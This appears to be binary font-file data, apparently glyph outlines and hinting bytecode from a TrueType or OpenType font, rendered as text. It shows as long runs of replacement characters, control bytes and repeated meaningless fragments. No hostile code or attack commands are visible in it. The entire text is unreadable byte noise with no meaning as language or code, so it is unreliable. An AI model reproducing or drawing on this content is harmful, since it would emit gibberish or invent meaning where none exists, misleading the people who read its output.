x��xxyxx���y�mR|�yOFJLl?<:=svcE`�gm!,0	00"3!254#%!2#!"54	!33##5!5���h�f��xx�xx�A���A����5�����b���
x��xxyxx���y�]��m��y�gm?0	00"3!254#%!2#!"54!!67632#"&'53264&#"���h�f��xx�xx�A���A���y�^^a`�<~B9>>Eo��o4h6���
x��xxyxx���y��_�	ML��KJq
f�f�gm.N0	00"3!254#%!2#!"54"327654'&&'&#"67632#"&547632���h�f��xx�xx�A���A�GX3333XW3333�1221�DD
&9:D�TTXW���ll�122���
x��xxyxx���y�45[Z4554Z[54bg
KL�1LM�ON���uv	�gm%0	00"3!254#%!2#!"54!#!���h�f��xx�xx�A���A��i���H�3���
x��xxyxx���y��0����gm+IX0	00"3!254#%!2#!"54"32764'%&'&546 #"'&54767327654'&"���h�f��xx�xx�A���A���55j]\655��T./�RQ./SZ85UV��UV56-/.UQ100/�0/���
x��xxyxx���y�[,+KLV,+�+]12Hdt::dJ01:7PyAAAAyN98�?&%%$A?&%%$�gm>M0	00"3!254#%!2#!"54532767#"&547632#"'&2654'&#"���h�f��xx�xx�A���A�.1220�DC
#<9E��WX��WXkl�122�Xf33XU5443���
x��xxyxx���y��g
KK�/���MNoo��uv	rh\Z4554Z\44�gm,8?0	00"3!254#%!2#!"54"27654/2#"&546573���h�f��xx�xx�A���A��2332�233y��������t������
x��xxyxx���y��VV��VVVV��V�����������)t'���gm+0	00"3!254#%!2#!"543+53265���h�f��xx�xx�A���A��A@�1(TF���
x��xxyxx���y��ܕFE`Tl�gm80	00"3!254#%!2#!"54#"&54632.#"3267���h�f��xx�xx�A���A�<1e9��ɴ9f0/j6||{}7j.���
x��xxyxx���y������t"$����$"�gm".:0	00"#"&54632&#"32"3!254#%!2#!"54���h�f5������VX~_
Ua`UU`a�uxx�xx�A���A����A�����ۥ�(j8�p�����ox��xxyxx���y��gm)0	00"3!254#%!2#!"5433	##���h�f��xx�xx�A���A��j��i���x���
x��xxyxx���y��a�z�B��m�gm	!!	!"3!254#%!2#!"54������������0xx�xx�A���A�1�G��G���}x��xxyxx���y��gm#/;>F65'&'&547632&54 632'"3!254#%!2#!"54!3#'!#U9H�5�?�K1|�|1K�?�5�I9��xx�xx�A���A�K�Қ �D��D��L��C�4$��j��j��$4�F�L�x��xxyxx���y�U�����gm#/;T65'&'&547632&54 632'"3!254#%!2#!"54!!56754&#"5>32U9H�5�?�K1|�|1K�?�5�I9��xx�xx�A���A�����"?XhU4zHM�9����8�L��C�4$��j��j��$4�F�L�x��xxyxx���y�?rn81^BQ##{�l���0�gm#/;d65'&'&547632&54 632'"3!254#%!2#!"54#"&'532654&+532654&#"5>32U9H�5�?�K1|�|1K�?�5�I9��xx�xx�A���A��\e��9}F4wCmxolV^^ad_(fQI�7��Z�L��C�4$��j��j��$4�F�L�x��xxyxx���y�mR|�yOFJLl?<:=svcE`�gm#/;>I65'&'&547632&54 632'"3!254#%!2#!"54	!33##5!5U9H�5�?�K1|�|1K�?�5�I9��xx�xx�A���A����5�����b�L��C�4$��j��j��$4�F�L�x��xxyxx���y�]��m��y�gm#/;\65'&'&547632&54 632'"3!254#%!2#!"54!!67632#"&'53264&#"U9H�5�?�K1|�|1K�?�5�I9��xx�xx�A���A���y�^^a`�<~B9>>Eo��o4h6�L��C�4$��j��j��$4�F�L�x��xxyxx���y��_�	ML��KJq
f�f�gm#/;Kk65'&'&547632&54 632'"3!254#%!2#!"54"327654'&&'&#"67632#"&547632U9H�5�?�K1|�|1K�?�5�I9��xx�xx�A���A�GX3333XW3333�1221�DD
&9:D�TTXW���ll�122�L��C�4$��j��j��$4�F�L�x��xxyxx���y�45[Z4554Z[54bg
KL�1LM�ON���uv	�gm#/;B65'&'&547632&54 632'"3!254#%!2#!"54!#!U9H�5�?�K1|�|1K�?�5�I9��xx�xx�A���A��i���H�3�L��C�4$��j��j��$4�F�L�x��xxyxx���y��0����gm#/;Hfu65'&'&547632&54 632'"3!254#%!2#!"54"32764'%&'&546 #"'&54767327654'&"U9H�5�?�K1|�|1K�?�5�I9��xx�xx�A���A���55j]\655��T./�RQ./SZ85UV��UV56-/.UQ100/�0/�L��C�4$��j��j��$4�F�L�x��xxyxx���y�[,+KLV,+�+]12Hdt::dJ01:7PyAAAAyN98�?&%%$A?&%%$�gm#/;[j65'&'&547632&54 632'"3!254#%!2#!"54532767#"&547632#"'&2654'&#"U9H�5�?�K1|�|1K�?�5�I9��xx�xx�A���A�.1220�DC
#<9E��WX��WXkl�122�Xf33XU5443�L��C�4$��j��j��$4�F�L�x��xxyxx���y��g
KK�/���MNoo��uv	rh\Z4554Z\44�gm#/;IU\65'&'&547632&54 632'"3!254#%!2#!"54"27654/2#"&546573U9H�5�?�K1|�|1K�?�5�I9��xx�xx�A���A��2332�233y��������t����L��C�4$��j��j��$4�F�L�x��xxyxx���y��VV��VVVV��V�����������)t'���gm#/;H65'&'&547632&54 632'"3!254#%!2#!"543+53265U9H�5�?�K1|�|1K�?�5�I9��xx�xx�A���A��A@�1(TF�L��C�4$��j��j��$4�F�L�x��xxyxx���y��ܕFE`Tl�gm#/;U65'&'&547632&54 632'"3!254#%!2#!"54#"&54632.#"3267U9H�5�?�K1|�|1K�?�5�I9��xx�xx�A���A�<1e9��ɴ9f0/j6||{}7j.�L��C�4$��j��j��$4�F�L�x��xxyxx���y������t"$����$"�gm#/;MW65'&'&547632&54 632'"3!254#%!2#!"54"#"&54632&#"32U9H�5�?�K1|�|1K�?�5�I9��xx�xx�A���A�3������VX~_
Ua`UU`a�L��C�4$��j��j��$4�F�L�x��xxyxx���y������ۥ�(j8�p������gm#/;F65'&'&547632&54 632'"3!254#%!2#!"5433	##U9H�5�?�K1|�|1K�?�5�I9��xx�xx�A���A��j��i���x�L��C�4$��j��j��$4�F�L�x��xxyxx���y��a�z�B��m�gm	+!%%!%%"3!254#%!2#!"54d��ec��b����`����b����Mxx�xx�A���A�n�ξ�;�3���o(��T���"(Ux��xxyxx���y���j�n! ! �tu������u�������j�n	 !! ! ,=��C��`�tu������<=���u�������j�n! !  !������ut�~<��A�����tu���<=���j�n! !  !������ut�~<��A������tu���<=����j�n! ! ! ! �tu������<=��C���A�u�����t��C�<=��@��j�n! ! % �tu������`����A��u������{��@���C��j�n! ! 0 �tu��������A��u������{��@���C��j�n	% ! ! +��a��C�������ut��@���C�����tu����j�V#+3�462"7"32654$"&462"32654462"6"&4622>7>54&'&'>54&#"&547&"'654.#"'72>32%%"&''%&/'%.547&54632�B\BB\t-
.�B\BB\,
-�o  �  �lN.	�;qsV6C70AIbbOS�C�*�*�C�SObbIA07C6Vsq;�	.8�L+ʏ��]�K��Y�����
 ��� �
����Y��K�]����+8�gg�g�=>u�gg�g�=>�"6''6']6''6'�$9]W>:�Lkt�LJ�73(#�XQik�\B?&STTS&?B\�kiQX�#(37�JL�tkL���>W]9�����r��lȡ~3D#�@�m��m�@�#D3~��lȬr�����K�j	-�	"(,����"&4632'2654#"3#"&46327'7#5%32767654'&'7>732>7>54'.#"&$ &/.#"3276%2654#"'747'&'#".'.54>7>32676 767>32+"&'&'&'&'& '326y2>=32>=-5nnI3=>23=>�S3�9?*�n��B?94��iE�B9?B

R' 8%/61.4&++ #?Y=������=Y?# ++&4.16/%8 'R

-�*?9��
9
!;+57?
B:),#3�A32%A(7���7(A%23A�3#,):B
?75+;!
9

"`	 B6�Ĉ6B 	_#
4a��a7�k~�n�nn�nA���n�nn�n�-ں��M�ғv$DK;7"
D;KD$v
h5WM' 1
*L7.4(#"N�emme�N"#(4.7L*
1 'MW5hNA������*,P�I	
,9	:kR4_5"2S''RNNR''S2"5_4Rk:	9,
	I�P,*0(sBD0H.&&.H0DBs(��$'&=�j(2AN�7327327#"'#""'72#"'&547632">7&>32#"'&327654'&#"654.'&'&#"&'%% 767%767%7&54>76?62>?''! '&'7&''�\E[:TT:[E\l�JDEI��>z�z>Z���+Q (F65/AFeN$0+E�dFB/56F( Qy0(
,@�

*�t��t��*
B
����g��굤g����
��&<��]i�i]��;&l
m nmu�����vmmm
�b@,,@bd�x==x.L#$-G0,a&0$4%Ca,0G-$#;��t.f>v��:��:��rAe.t�+B,E@y>z�w��w�z>y9L,B=|�9jwA�u�:	�a

a�	:�u�Awj9�|BQW.>.������.>.QWB��j�%1;Gh���462"7"32654"547632"&462432#"'&"3265473267!"& 7654'>54'&#".#" 632+ '.'&'#"&'&'&54632676&#";67&%32767654&'&#"RtRRt�78,%,%
RtRRt��%,%,78��j��`�;j������|TVZ�GqpG�ZVT|�j7aij�
"�Y:8�m���m�8:Y�"
�jia� 
(+G&<5t5<&G+(
 tRRtRh11�R $ $tRRtR�$ $k11��T�XLT�r��˚���,0^1�ioE55Eoi�1^0,�����|����,6[?Ki{pn�7LL7�np{iK?[6,����|��R:3�/�{W``W{�/�3:R	��j�n".49>BF4632#"&%462#"&! ! ! ! ! 67##%67#5#�Q;:RR:;QBRtSS:;Q�m�<=��C���A�tu������������XL���LHd� e�;QQ;:SS:;QQ;:SS��C�<=��@��u�����j����j�*%��Z��*�Rd��f	��j�n#/5:?CG! ! ! ! 462#4&"!462#4&"! 67##%67#5#1�<=��C���A�tu�������Č�=T=�)�Č�=T=��������XL���LHd� e��C�<=��@��u�������ŋSwwS��ŋSwwS�����j�*%��Z��*�Rd��f	_�j�n#/Y~5#67##67#%! 462#4&"!462#4&"! "'&/! &"&5476?&7! 4'#"'&/&'&! 6?"'<e)Hd�L�L�XL��N������X�Č�=T=ɌČ�=T=��tu];6L*���������+
L6<\��<=�%&-�)/�����/)�-L��fPRd��Z��**%�����j���ŋSwwS��ŋSwwS�u��%&69 �����96&%��C�<9�-ǚ���
-�9��j�n".4<4632#"&%462#"&! ! ! ! ! %!$76�Q;:RR:;QBRtSS:;Q��tu������<=��C���A�������B�W!\���\�;QQ;:SS:;QQ;:SS�u�����t��C�<=��@������j{u\��\��j�n#/5>462#4&"!462#4&"! ! ! ! ! %!7276�Č�=T=ɌČ�=T=��tu������<=��C���A�������B�W!\��ʎ\���ŋSwwS��ŋSwwS�u�����t��C�<=��@������j{u\��\��j�n#/;AJ"&547462#4&"!462#4&"! ! ! ! ! %!7276�AL6���Č�=T=ɌČ�=T=��tu������<=��C���A�������B�W!\��ʎ\,�8"+6,#5 ��ŋSwwS��ŋSwwS�u�����t��C�<=��@������j{u\��\��j�n
%+3%%''7'7! ! ! ! ! %!$76|'M��M�٠��M��M��tu������<=��C���A�������B�W!\���\'�n��n�UU�n��n��u�����t��C�<=��@������j{u\��\��j�c*5IW_7767 '&! /! '462#"&%4632#"&4$! ! 7&%654$! 6! &#"32s(���'s%2����2���<=��������RtSS:;Q��Q;:RR:;Q�
��������ۼ�C���A��JKC��ݰ����G,&��',H92��3Q��C�<=�99�*;QQ;:SS:;QQvRS\�����\�������t[�\6JQrrQJ6�nn��j�0-9J%462#"&%4632#"&'7 767 '&! ! 6 %! 7�/M��?RtSS:;Q��Q;:RR:;QM��M��s(���'s%2����2���<=��C���A�*��������g�o��;QQ;:SS:;QQvRS�n�o�>G,&��',H92��3Q��C�<=��@**�������t/�0��j�n'297 767 '&! ! ! ! 4632#"&-%s(���'s%2����2���<=��C���A�tu������Q;:RR:;Q�'M��M���G,&��',H92��3Q��C�<=��@��u������;QQvRSd�n��n���j�n'3?7 767 '&462#4&"!462#4&"! ! ! ! s(���'s%2����2,�Č�=T=ɌČ�=T=��tu������<=��C���A�G,&��',H92��3��ŋSwwS��ŋSwwS�u�����t��C�<=��@��j�n7CQ462#4&"!462#4&"!27&'# 3 536! ! ! 327674'&f�Č�=T=�)�Č�=T=���<�veA+-�������{7�C���A�tu�����O\&$
!���ŋSwwS��ŋSwwS���C)0lj���ՠdc�3=��@��u�����6C$(9.��j�n'3?7 767 '&"&53265!"&53265! ! ! ! s(���'s%2����2�Č�=T=�7�Č�=T=�?tu������<=��C���A�G,&��',H92��3��ŋSwwS��ŋSwwS�bu�����t��C�<=��@��j�n/;GW2#'&5&7633476!2367672#'&'476! ! ! ! 7 767 '&�<2��>
&?) 

#�I=#

 )?&
>��2<�tu������<=��C���A�s(���'s%2����2�%?A>ϾDLD  1GG1  DLD��>A?%�*u�����t��C�<=��@��G,&��',H92��3��j�n#3<! 4'#"&5"&=#! ! %7767 '&!&'&! 1�<=�Tn�즦�nU�tu�����ss(���'s%2����2`�������C�<àOd��dd��dO��u�����[G,&��',H92��3;����j�n)5!!5!2767!! ! ! ! �����lʎ's%2����~tu������<=��C���A��������',H92�9u�����t��C�<=��@��j�n%15!4632#"&%462#"&! ! ! ! L��vQ;:RR:;QBRtSS:;Q��tu������<=��C���Aq���;QQvRS:;QQ;:SS�u�����t��C�<=��@��j�n#5!!5!5!! ! ! ! ����������tu������<=��C���A������凇yu�����t��C�<=��@��j�n)7! ! ! ! 5!5!2#"&545!5!2#"&5451�<=��C���A�tu��������x:RR:;QVx:SS:;Q��C�<=��@��u�������-�Q;:SS:�Q;:SS:��j�n*6B"&475!%7
'%4632#"&%462#"&! ! ! ! PA6L6�=���MX��MXM��Q;:RR:;QBRtSS:;Q��tu������<=��C���A��5O66O5�E����o�nn�o��;QQvRS:;QQ;:SS�u�����t��C�<=��@��j�n'35!"&53265!"&53265! ! ! ! L�6�Č�=T=�7�Č�=T=�?tu������<=��C���Aq����ŋSwwS��ŋSwwS�bu�����t��C�<=��@��j�n%1%'4632#"&%462#"&! ! ! ! �9g9��Q;:RR:;QBRtSS:;Q��tu������<=��C���A�{�{�;QQvRS:;QQ;:SS�u�����t��C�<=��@��j�nB'! ! ! ! 	7"'&'&#"'67623276762&�__�Z�<=��C���A�tu�������_�4)F�F"58 yF�F"54(F�Fy\__����C�<=��@��u������_��Wi"bc(!__9("bb("_i"bb"(9_��j�n#/;4632#"&%462#"&7'7'7'! ! ! ! �Q;:RR:;QBRtSS:;Q�P�A<<��A�P��tu������<=��C���A�;QQ;:SS:;QQ;:SS�$>Nv�X..X�vN>#u�����t��C�<=��@��j�n")6BN2#'&5&76334764632#"&-%7'7'7'! ! ! ! j<2��>
&@( 
"�VQ;:RR:;Q�'M��M�نP�A<<��A�P��tu������<=��C���A�%?A>ϾDLD  1GN;QQvRSd�n��n�>Nv�X..X�vN>#u�����t��C�<=��@��j�n$0<462#4&"!462#4&"7'7'7'! ! ! ! �Č�=T=ɌČ�=T=�P�A<<��A�P��tu������<=��C���A���ŋSwwS��ŋSwwS�]>Nv�X..X�vN>#u�����t��C�<=��@��j�n$0<7'7'7'"&53265!"&53265! ! ! ! �P�A<<��A�PL�Č�=T=�7�Č�=T=�?tu������<=��C���A�>Nv�X..X�vN>���ŋSwwS��ŋSwwS�bu�����t��C�<=��@��j�n".8>4632#"&%462#"&! ! ! ! %5!#"&5!#26�Q;:RR:;QBRtSS:;Q�m�<=��C���A�tu��������ČU�=T=�;QQ;:SS:;QQ;:SS��C�<=��@��u�����c����ŋSww��j�n
)394632#"&-%! ! ! ! %5!#"&5!#26�Q;:RR:;Q�'M��M����<=��C���A�tu��������ČU�=T=�;QQvRSd�n��n���C�<=��@��u�����c����ŋSww��j�n%/5! ! ! ! '7'7%%5!#"&5!#261�<=��C���A�tu�����2��M��M�'M��M�����ČU�=T=��C�<=��@��u������U�n��n��n��n�����ŋSww��j�n)5F%7
'%4632#"&%462#"&! ! ! ! 676 &'&#&��MX��MXM��Q;:RR:;QBRtSS:;Q��tu������<=��C���A�%2��3$s(��ʎ'�o�nn�o��;QQvRS:;QQ;:SS�u�����t��C�<=��@�%83��38H,'��',��j�n"-9EV%'6762&'&"%7
'%4632#"&%462#"&! ! ! ! 676 &'&#&�yF�FyT;��MX��MXM��Q;:RR:;QBRtSS:;Q��tu������<=��C���A�%2��3$s(��ʎ'�9("bb"(9<<d�o�nn�o��;QQvRS:;QQ;:SS�u�����t��C�<=��@�%83��38H,'��',��j�n)5F'4632#"&%462#"&%! ! ! ! 676 &'&#&�M��M�+Q;:RR:;QBRtSS:;Q�/M��%tu������<=��C���A�%2��3$s(��ʎ'gn�o�;QQvRS:;QQ;:SS��o��u�����t��C�<=��@�%83��38H,'��',��j�n(,7BFV676 &'&#&! ! ! ! %462#"&%4632#"&''6762&'&"%2��3$s(��ʎ'���<=��C���A�tu�����(/M��?RtSS:;Q��Q;:RR:;QM��M�yF�FyTL83��38H,'��',��C�<=��@��u�������o��;QQ;:SS:;QQvRS�n�o�9("bb"(9<<��j�n#4O! ! ! ! "&53265676 &'&#&"&54?&'&532651�<=��C���A�tu�����H�Č�=T=��%2��3$s(��ʎ'�F:M L6 M:F�=T=��C�<=��@��u�������ŋSwwS��83��38H,'��',��bQ?7#+6,#5?
Rb�SwwS��j�n*6676 &'&#&%%''7'7! ! ! ! %2��3$s(��ʎ'�'M��M�٠��M��M��tu������<=��C���AL83��38H,'��',"�n��n�UU�n��n��u�����t��C�<=��@��j�n!-9'	7	676 &'&#&"&47! ! ! ! �__���_�/%2��3$s(��ʎ'�B6L6��<=��C���A�tu�����\__��_��83��38H,'��',#�5O66O5���C�<=��@��u�������j�n".4<4632#"&%462#"&! ! ! ! !4 !&'& �Q;:RR:;QBRtSS:;Q��tu������<=��C���A�'�'���Ek��jE�;QQ;:SS:;QQ;:SS�u�����t��C�<=��@���F��a`LtuL��j�n)5;C%7
'%4632#"&%462#"&! ! ! ! !4 !&'& ��MX��MXM��Q;:RR:;QBRtSS:;Q��tu������<=��C���A�'�'���Ek��jE�o�nn�o��;QQvRS:;QQ;:SS�u�����t��C�<=��@���F��a`LtuL��j�nNZflx������32654&#"!&'& !4 ! 4'#&'#5"'#5&47&'##"&'##5! ! 4632#"&%6754&#"326'#"&546325&'&'67%&'%67%�tJUioOLr�7�Ek��jE?�'�'�
�<=�5D%Dm�8D++!"D"!++D8�nD%D6�tu�����q"!#�� ## 	rLOoiUJt�#!"$ g!"$!"+�O# *"!$RluIOoo��`LtuL��F��7��C�<���;.)�nY6G$@<�<=�j���<�<@$F7Y�*.�ż��u������!!# �
���OooOIulR #!!y�
�(
�	&�!-��-!��	��j�n'-5'	7	'	7! ! ! ! !4 !&'& �__���_��__���_��tu������<=��C���A�'�'���Ek��jE__��_��X__��_��?u�����t��C�<=��@���F��a`LtuL��j�n)5AGO767632#"&53265!"&53265! ! ! ! !4 !&'& �U%

$
';�Č�=T=�7�Č�=T=�?tu������<=��C���A�'�'���Ek��jE�t2"$���ŋSwwS��ŋSwwS�bu�����t��C�<=��@���F��a`LtuL��j�n
%+3%%''7'7! ! ! ! !4 !&'& |'M��M�٠��M��M��tu������<=��C���A�'�'���Ek��jE'�n��n�UU�n��n��u�����t��C�<=��@���F��a`LtuL_�j�n=b%!4 '7'7%%! "'&/! &"&5476?&7! 4'#"'&/&'&! 6?"'��'�'����M��M�'M��M��.tu];6L*���������+
L6<\��<=�%&-�)/�����/)�-L��F��tU�n��n��n��n��u��%&69 �����96&%��C�<9�-ǚ���
-�9��j�n*6462"4632#"&%462#"&! ! ! ! ,�Ԗ���Q;:RR:;QBRtSS:;Q��tu������<=��C���AZԖ�Ԗ;;QQ;:SS:;QQ;:SS�u�����t��C�<=��@��j�n%1=%7
'%4632#"&%462#"&462"! ! ! ! ��MX��MXM��Q;:RR:;QBRtSS:;Q��KjKKj��tu������<=��C���A�o�nn�o��;QQvRS:;QQ;:SS�jKKjK�u�����t��C�<=��@��j�n#.:F"&47462"%7
'%4632#"&%462#"&! ! ! ! PA6L6��Ԗ��U��MX��MXM��Q;:RR:;QBRtSS:;Q��tu������<=��C���A��5O66O5�.Ԗ�ԖR�o�nn�o��;QQvRS:;QQ;:SS�u�����t��C�<=��@#�<5nk�&462 &462%'%%7462"5.'46767 #5476764&"#5 '#54&/&'&'."% 7547676767>76767&'& QRtSS�IQQuRR��MXM~��MX�ȖԖ���HV�h=;���;=h�VH�&�z':%i)8^'�n��y�'^8)i%:'z�&Lw	l0�8<32����33<8�0(SuQQuSSuQQvR�n�o��o��Ԗ�Ԗ�x�>[1'Sk
߰����
kS���1[>��$n9�(#m�q,%@<?�L N�?<@%,q�m#(���9n$��&%!Y;eV"Dx�860
����0n�xD"Ve;Y	��j�n#/;GO[g#"&546324632#"&732654&#"4632#"&%4&#"326'#"&54632462"! ! ! ! �\j��c_�t�_c��j\�0tJUioOLr�"!#��rLOoiUJt�#!"�Ԗ���tu������<=��C���Af��[c��cc��c[��fRluIOooO!!# OooOIulR #!!�(Ԗ�Ԗ&u�����t��C�<=��@
��j�nJV^bfkpty~! 4'#&'#5##5##5##33'75& 733#5##5##5##'75#! ! $462"335'35'5&575'1�<=�@D&D4DDDDDDD[M���b��M[DDDDDDD4D%DA�tu�����KjKKjDDD�414��DD41��C�<�����,(g	�-������8��?oi{``{io?��)�Ȉ������	h(,�}��u�����jKKjKd8���/�c"#$z�o�/��y$�ہ"c��jql	%1=IU!3!5#%!3!5#%!3!5#462""&53265!"&53265! ! ! ! 
�{���{��{���{��{���{��KjKKjK�Č�=T=�7�Č�=T=�?tu������<=��C���Alh��\h\h��\h\h��\h�jKKjKD��ŋSwwS��ŋSwwS�bu�����t��C�<=��@��j�n#+7'7'77'! ! ! ! 462"'7'77'�_qq_qr_qq_r�+�<=��C���A�tu�������Ԗ��_qq_qr_qq_r(_qr_qq_rq_q���C�<=��@��u�����Ԗ�Ԗd_qr_qq_rq_q��j�n
!-4632#"&%462#"&! ! ! ! �Q;:RR:;QBRtSS:;Q��tu������<=��C���A�;QQvRS:;QQ;:SS�u�����t��C�<=��@
��j�n$(,7! ! 5!35!%'%%7!!!! %6''&! !�tu�����l�����MXM~��MX�9��T�v������������,�u�����������n�o��o��a������<���������	:�j&R������27#"'7327 $'&54732%% 76767%767%7654.'&'&#"&'&54>76?62>?''! '&&''7&''%4."#462!4."#462&'32?67#5#"'�\>xcev>�rt��6����;#��y�]M��4��f��굡g��.��G

*�t��t��*
�&<��]i�i]��;&ikhdt�����t^b	e11B1���1B1���:$(2+$) �`3H:�G??4�.x==x�%B DG���}KSB�$bCJAi?l:1�w��v�85j?g>LCR4.f>v��:��:��rAe�ME9jwA�u�:	�a

a�	:�u�Awj9DMDVW$@"<<������@6 @"O`DQ+ZEEY,��Č+ZEEY,��Č�
��c'F
aa	C	`�j�?H]������654.'&'& &'6?#"'% 76767%767#"&/27#"'7327 $'&54732"&546?4''7&54>76?62>?'#"&/ '&&'4."#462!4."#462&'32?67#5#"'�

*�t��t��*

P�,3,04��f��鶢f��.0,4.�R�Ȃ\>xbfv>�rt��6����<"��x�|%7>4Zfd &<��^i�j]��<&hjZ4<6$,4,t����t*$�0B2��Č�0B2��Č�:$(2,$( �`4H:�F>@4|(,.f>v��:��:��rAe.*',,�3<%WLi?l:1�w��v�85j?gD`(<3�,�.x==x�%B DG���}KSBA6%,4JDME9jwA�u�:	�a

a�	:�u�Awj9DMD44,%6<3*hb������]p-o�+ZEEY,��Č+ZEEY,��Č�
��c'F
aa	C	:�j&*_�����27#"'7327 $'&54732#"'267#"%% 76767%767%7654.'&'&#"&'&54>76?62>?''! '&&''7&''%4632#"'&7">7&#"'&'67632327654'&#"�\>xcev>�rt��6����;#��yprw??5��2H:u�}M��4��f��굡g��.��G

*�t��t��*
�&<��]i�i]��;&ikhdt�����t^b	e�cC>]0L!(C8�$0+E�8C%$M/2-;Cc�.*
,@�.x==x�%B DG���}KSBh	ELME
N$bCJAi?l:1�w��v�85j?g>LCR4.f>v��:��:��rAe�ME9jwA�u�:	�a

a�	:�u�Awj9DMDVW$@"<<������@6 @"O`D�F_W;E!I+ 

/!-!CB*&_z5=�jJ���7327327#"'#""'72%654.'&'&#"&'%% 767%767%7&54>76?62>?''! '&'7&''>32#'&'4632%2347632#'&546�\E[:TT:[E\l�JDEI��>z�z>Z��

*�t��t��*
B
����g��굤g����
��&<��]i�i]��;&l
m nmu�����vmmm
�
:-.>>��1@/=#
�-:

#=/@1��>>�b@,,@bd�x==x.8�t.f>v��:��:��rAe.t�+B,E@y>z�w��w�z>y9L,B=|�9jwA�u�:	�a

a�	:�u�Awj9�|BQW.>.������.>.QWB�0B=1JJ��=B*HGrB0GH*B=ϾJJ1=
=�j(7Du��-'"'72#"'&547632">7&>32#"'&327654'&#"654.'&'&#"&'%% 767%767%7&54>76?62>?''! '&'7&''2767!�/M��M��Ms>z�z>Z���+Q (F65/AFeN$0+E�dFB/56F( Qy0(
,@�

*�t��t��*
B
����g��굤g����
��&<��]i�i]��;&l
m nmu�����vmmm
�ʎ(s"5���g�o�nn�o�=x==x.L#$-G0,a&0$4%Ca,0G-$#;��t.f>v��:��:��rAe.t�+B,E@y>z�w��w�z>y9L,B=|�9jwA�u�:	�a

a�	:�u�Awj9�|BQW.>.������.>.QWB��(+H65�=�j'4i���#"'&547632">7&>32#"'&327654'&#"654.'&'&#"&'%% 76?%767%72>?''! '&''7&''7&'54>76?7'7'7'27#"'7l+Q (F65/AFeN$0+E�dFB/56F( Qy0(
,@�

*�t��t��*
	B
����f��굡g����
���i]��;&
l
m nmt�����tmmm
l&<��]�P�A<<��A�P�[>wdev>�L#$-G0,a&0$4%Ca,0G-$#;��s.f>v��:��:��rAe.$�A+B,E@y>z�w��v�z>y9L,B
a�	:�u�Awj9�WBQW.>.������.>.QWB`�*9jwA�u�:	�a�:=Nw�Y.-Y�wN=�.x==x=�j'4e������#"'&547632">7&>32#"'&327654'&#"654.'&'&#"&'%% 767%767%7&54>76?62>?''! '&'7&''62&"%6 &#"27#"'7'%%l+Q (F65/AFeN$0+E�dFB/56F( Qy0(
,@�

*�t��t��*
B
����g��굤g����
��&<��]i�i]��;&l
m nmu�����vmmm
GF�F`T����`��Ȑ�[>wdev>�M��M�{/M���L#$-G0,a&0$4%Ca,0G-$#;��t.f>v��:��:��rAe.t�+B,E@y>z�w��w�z>y9L,B=|�9jwA�u�:	�a

a�	:�u�Awj9�|BQW.>.������.>.QWB�cc_<<���`���.x==x=n�o��o�=�j ,4d�"&545"'7276?.53265!"&532656 & &6?6?62>?'' '7&''!2$7%767%7654/&'& &'%%B�M 6L6n�v>[�[3 M��=T=�7��=T=���`��n��� &<��]i�i]��;&+l
m nmu�d���fvmmm
;��Yg����
A+�t��t��* B
�����?5O66,5=x..c?��SwwS��ŋSwwS�ڵ�`���|�jau�:	�a

a�	:�ua̠�|BQW.>.����*.>.QWB���z>y9L,B+�Q���b�:��:��T�nk�+B,E@y>=�j4s{���654.'&'&#"&'%% 76?%767%72>?''! '&''7&''7&'54>76?!&'& !476327'*

*�t��t��*
	B
����f��굡g����
���i]��;&
l
m nmt�����tmmm
l&<��]��Ek��jE?�����(���_��__ڃs.f>v��:��:��rAe.$�A+B,E@y>z�w��v�z>y9L,B
a�	:�u�Awj9�WBQW.>.������.>.QWB`�*9jwA�u�:	�a�GaKtuK�礣��~_��___��j�n'29676 &'& ! ! ! ! %4632#"&%5%%2��2%s'��l�(���<=��C���A�tu������Q;:RR:;Q�'M��M83��29H,'��&,��@�=<��C��t�����b:SRvQQU�n��n����
@��03#�u������)��@
�dd���1�<�20K�TK�T[X�@��878YK�TK�
T[K�T[X���@878YK�TK�T[X�@��878YK�TX���@878Y@````pppp]3#%3#�^��y�������s���@B���1��0KSX��Y"K�TX���@878YK�TX�@��878Y@ %%6FVjg	//]]3#�7��������J�u@!���VV	����99991�<���2990K�TX���@878YK�TX�@��878Y�]'.#"#4632326=3#"&��9$(}gV$=09" (}gT";9!2-ev
3)dw����@B���1��0KSX��Y"K�TX���@878YK�TX�@��878Y@*$$5CUU����//]]#��������1�w@
���91�<�90K�TX���@878YK�TX�@��878YK�TX���@878Y@//-	]3#'#���Ӌ�����������1��@
���91��290K�TK�	T[K�
T[K�T[X���@878YK�TX�@��878YK�TX���@878Y@ " 	]373��Ӌ�����
�������9�
#.#"#>32�v
cSRav
����6978w{z���9�
j@��VV����1��20K�TX���@878YK�TX�@��878YK�TK�T[X���@878Y332673#"&��v
cSRav
�����6978w{z���f�G��d��1��0K�TK�T[X�@��878YK�TX���@878Y3#����������@�1�<�203#3#���䙋��������N��#!#�ę�ę��������53#������73#'3#������������3#3#'3#}��}�������d������3#3#'3#}��}�����d��������3#3#����d������3#3#3#3#����������d���d��������&;#"'&'#"'$&733$767654'3�F??<ftGP����|��@�A�h���{;���;5�ISB�5:&e�\^�}C"7:m4w>7K�����XQ����~XR���\,>%!$'$&73!2%7&'&547676323!!"'654'&'&#"xhn����}��@�A�Q+�"R�:4RQ�P	��ioh4"(=)1$+<'g�\^�sM6,|y$�K2S�%�j��AzG'
<8BN��?�0654'&323276767'&54767632#!V)B,4((7(*H���T�O<?a�Nb�NLZB`.NJ|m���+M;3*)3P&��]027EW�4,�E$2Hf3�Џ�,'�� !5;#"'+5327&'&54767632"67654'&'&f�$'�و�����'$�A??8
D?$9�P�2*I1C2�99�(M.L,0�W�
 5+5DE2.4!
k���.@%&'&'&547676323!!#'$'&5473!2766'&'&#"�B.y9�(�)Wp8c2��0-=�����^E>�><���l/"'"3
9Ld/

#+m�=�E2X�:��zF�NV��}�`k�L:�DbZzWK#
:<,;	����?�7���� 8�����X4����~X5��%4'&"2>"'&4762<R8R8z?@�?@@?�@�(8)*8��@@@@�@??������ '.��'>���3������&4'.cR>P����~�&5'.cR>P�������'0� 3������&40cL����~�&50cL����>�&�}��8����\K&�}X�����>K&�}X�����>�&�1?����\F&�1
�����>F&�1
�����>�&�/�����\F&�/������>F&�/������>�&�'-?0�����>\L&�'0��8-
�����>>L&�'0��8-
�3_+	5_��_����b�V'�J@!B�
�6���99�1/<�299��0KSX��Y"�]33+532765#ո�RQ���i&&����}��``�01�}��`2@��F�<<�221/��<�20@
@
P
`
p
